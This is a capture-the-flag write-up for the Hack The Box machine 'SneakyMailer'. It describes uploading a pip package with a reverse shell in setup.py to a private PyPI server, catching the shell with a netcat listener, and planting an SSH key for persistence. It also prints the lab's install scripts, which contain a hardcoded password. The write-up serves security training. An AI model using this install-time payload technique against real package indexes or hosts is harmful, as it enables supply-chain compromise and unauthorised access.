Malicious PIP Package Upload


Earlier, I found out that a private PyPi server is hosted on the port 8080 under the virtual host, pypi.sneakycorp.htb I was able to authenticate to the service using the credentials from the .htpasswd file.

As the target PyPi server support both package indexing and uploading, it’s totally possible to exploit this feature by installing a malicious pip package.

Creating A Private Python Package


Linode published a step-by-step guide on creating a Python package, which later can be uploaded to a PyPi Server

┌──(kali㉿kali)-[~/archive/htb/labs/sneakymailer]
└─$ tree sneaky 
sneaky
├── README.md
├── setup.cfg
├── setup.py
└── sneaky
    └── __init__.py
 
2 directories, 4 files

I followed through the guide by Linode and generate the very same structure. The only difference here is that all the files are empty except for the setup.py file The setup.py file contains a reverse shell

setup.py


Later during the installation process, the Sneaky.run(self) function here will be invoked, effectively spawning a reverse shell to a listener on Kali

Compression


┌──(kali㉿kali)-[~/…/htb/labs/sneakymailer/sneaky]
└─$ python3 setup.py sdist
running sdist
running egg_info
creating sneaky.egg-info
writing sneaky.egg-info/PKG-INFO
writing dependency_links to sneaky.egg-info/dependency_links.txt
writing top-level names to sneaky.egg-info/top_level.txt
writing manifest file 'sneaky.egg-info/SOURCES.txt'
reading manifest file 'sneaky.egg-info/SOURCES.txt'
writing manifest file 'sneaky.egg-info/SOURCES.txt'
running check
creating sneaky-0.0.0
creating sneaky-0.0.0/sneaky
creating sneaky-0.0.0/sneaky.egg-info
copying files to sneaky-0.0.0...
copying README.md -> sneaky-0.0.0
copying setup.cfg -> sneaky-0.0.0
copying setup.py -> sneaky-0.0.0
copying sneaky/__init__.py -> sneaky-0.0.0/sneaky
copying sneaky.egg-info/PKG-INFO -> sneaky-0.0.0/sneaky.egg-info
copying sneaky.egg-info/SOURCES.txt -> sneaky-0.0.0/sneaky.egg-info
copying sneaky.egg-info/dependency_links.txt -> sneaky-0.0.0/sneaky.egg-info
copying sneaky.egg-info/top_level.txt -> sneaky-0.0.0/sneaky.egg-info
Writing sneaky-0.0.0/setup.cfg
creating dist
Creating tar archive
removing 'sneaky-0.0.0' (and everything under it)

Python packages need compression to be used through PIP This can be achieved via the sdist (source distribution) command

┌──(kali㉿kali)-[~/…/htb/labs/sneakymailer/sneaky]
└─$ ls                
dist  README.md  setup.cfg  setup.py  sneaky  sneaky.egg-info
 
┌──(kali㉿kali)-[~/…/htb/labs/sneakymailer/sneaky]
└─$ ls dist           
sneaky-0.0.0.tar.gz

Running the sdist command generates 2 directories. The dist directory is what contains the actual compressed package, and the sneaky.egg-info directory contains a few metadata files about the package

Now that the package is ready for delivery, I need to setup the remote-uploading. Linode also provides a very detailed step-by-step guide for that

Upload


I just need to create a file named, .pypirc, to the home directory

In this case, I am not distributing the package to the official PyPi repo, but a private PyPi repository that is running a pypiserver on the target system I also put up the SneakyMailer info that I cracked earlier.

I will get the process for confirmation

developer@sneakymailer:~/dev$ ps -aux | grep -i 'pypi' --color=auto
pypi       748  0.0  0.6  36932 26212 ?        ss   03:15   0:34 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages

pypi-server is running in the background, executed by the pypi user, on the localhost:5000 socket with its authentication configured.

  • The --disable-fallback flag prevents the server from bringing out system’s package in case the requested package isn’t available
  • The -o flag defines the directory where packages are located
  • it’s on the locallhost:5000 socket, but this is re-routed through a proxy on pypi.sneakycorp.htb:8080 over HTTP

Nevertheless, I will now upload the package to the target PyPi repository

┌──(kali㉿kali)-[~/…/htb/labs/sneakymailer/sneaky]
└─$ python3 setup.py sdist upload -r sneakycorp
running sdist
running egg_info
writing sneaky.egg-info/PKG-INFO
writing dependency_links to sneaky.egg-info/dependency_links.txt
writing top-level names to sneaky.egg-info/top_level.txt
reading manifest file 'sneaky.egg-info/SOURCES.txt'
writing manifest file 'sneaky.egg-info/SOURCES.txt'
running check
creating sneaky-0.0.0
creating sneaky-0.0.0/sneaky
creating sneaky-0.0.0/sneaky.egg-info
copying files to sneaky-0.0.0...
copying README.md -> sneaky-0.0.0
copying setup.cfg -> sneaky-0.0.0
copying setup.py -> sneaky-0.0.0
copying sneaky/__init__.py -> sneaky-0.0.0/sneaky
copying sneaky.egg-info/PKG-INFO -> sneaky-0.0.0/sneaky.egg-info
copying sneaky.egg-info/SOURCES.txt -> sneaky-0.0.0/sneaky.egg-info
copying sneaky.egg-info/dependency_links.txt -> sneaky-0.0.0/sneaky.egg-info
copying sneaky.egg-info/top_level.txt -> sneaky-0.0.0/sneaky.egg-info
Writing sneaky-0.0.0/setup.cfg
Creating tar archive
removing 'sneaky-0.0.0' (and everything under it)
running upload
submitting dist/sneaky-0.0.0.tar.gz to http://pypi.sneakycorp.htb:8080
server response (200): OK

The package is successfully uploaded

Code Execution


I can confirm that the package is now present in the target PyPi repository

┌──(kali㉿kali)-[~/archive/htb/labs/sneakymailer]
└─$ nnc 8888      
listening on [any] 8888 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.197] 41578
whoami
low
hostname
sneakymailer
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.197  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 fe80::250:56ff:feb9:f04c  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb9:f04c  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b9:f0:4c  txqueuelen 1000  (Ethernet)
        RX packets 3057878  bytes 586424251 (559.2 MiB)
        RX errors 0  dropped 45  overruns 0  frame 0
        TX packets 3046633  bytes 1123597358 (1.0 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 262391  bytes 29403231 (28.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 262391  bytes 29403231 (28.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

and I got the reverse shell Since the session is not as clean and might get flushed, I will write my key to the SSH file of the low user

low@sneakymailer:~$ cd .ssh 
low@sneakymailer:~/.ssh$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali' >> authorized_keys

That’s it. Now I should be able to connect to the target system via SSH using my own key

┌──(kali㉿kali)-[~/archive/htb/labs/sneakymailer]
└─$ ssh low@$IP -i ~/.ssh/id_ed25519                               
Enter passphrase for key '/home/kali/.ssh/id_ed25519': 
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
 
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
 
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Tue Jun  9 03:02:52 2020 from 192.168.56.105
low@sneakymailer:~$ whoami
low
low@sneakymailer:~$ hostname
sneakymailer
low@sneakymailer:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:f0:4c brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.197/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:f04c/64 scope global dynamic mngtmpaddr 
       valid_lft 86396sec preferred_lft 14396sec
    inet6 fe80::250:56ff:feb9:f04c/64 scope link 
       valid_lft forever preferred_lft forever

Lateral Movement made to the low user via uploading a malicious PIP package

how?


Uploading the package alone somewhat ran the Python code(reverse shell) that I wrote and gave me a shell

Another interesting thing is that the package that I upload gets deleted pretty much immediately So I had to re-upload the package several times

The execution was made possible because of this. The low user was tasked to run and delete all the Python module in the PyPi service.

low@sneakymailer:/opt/scripts/low$ ll
total 16K
4.0K drwxr-x--- 2 root low  4.0K Jun 23  2020 .
4.0K -rwxr-x--- 1 root low  1.8K Jun 23  2020 install-modules.py
4.0K -rwxr-x--- 1 root low    71 Jun  8  2020 install-module.sh
4.0K drwxr-xr-x 5 root root 4.0K May 26  2020 ..

These 2 scripts are responsible for that.

install-modules.py


low@sneakymailer:/opt/scripts/low$ cat install-modules.py
import pty
import requests
import subprocess
import re
import threading
import os
import tempfile
import time
 
 
username = "pypi"
password = "soufianeelhaoui"
 
active_threads = 0
max_threads = 5
 
 
def get_modules_file() -> tuple:
    response = requests.get("http://pypi.sneakycorp.htb:8080/packages/", auth=(username, password))
    return tuple(map(lambda module: module[1:-3], re.findall(r">.+<\/a", response.text)))
 
 
def uninstall_module(file_name: str):
    subprocess.run(f"/home/low/venv/bin/pip uninstall {file_name.replace('.tar.gz', '')}", shell=True)
    os.remove(f"/var/www/pypi.sneakycorp.htb/packages/{file_name}")
 
 
def install_module(file_name: str):
    with tempfile.TemporaryDirectory() as temporary_folder:
        # Decompress the tar
        subprocess.run(f"/usr/bin/tar -C {temporary_folder} -zxf /var/www/pypi.sneakycorp.htb/packages/{file_name}", shell=True)
        # Run the installation process
        subprocess.run(f"/usr/bin/screen -d -m /opt/scripts/low/install-module.sh {temporary_folder}/{file_name.replace('.tar.gz', '')}/setup.py &", shell=True)
        time.sleep(3)
 
 
def process_module(file_name: str):
    global active_threads
    try:
        install_module(file_name)
    except:
        pass
    try:
        uninstall_module(file_name)
    except:
        pass
    active_threads -= 1
    exit(0)
 
 
def main():
    global active_threads
    while True:
        modules_files = get_modules_file()
        for file_name in modules_files:
            while active_threads > max_threads:
                pass
            threading.Thread(target=process_module, args=(file_name,)).start()
            # process_module(file_name)
            active_threads += 1
        time.sleep(5)
    while active_threads > 0:
        pass
 
 
if __name__ == "__main__":
    main()

install-module.sh


low@sneakymailer:/opt/scripts/low$ cat install-module.sh 
#!/bin/bash
 
# install the module
/home/low/venv/bin/python $1 install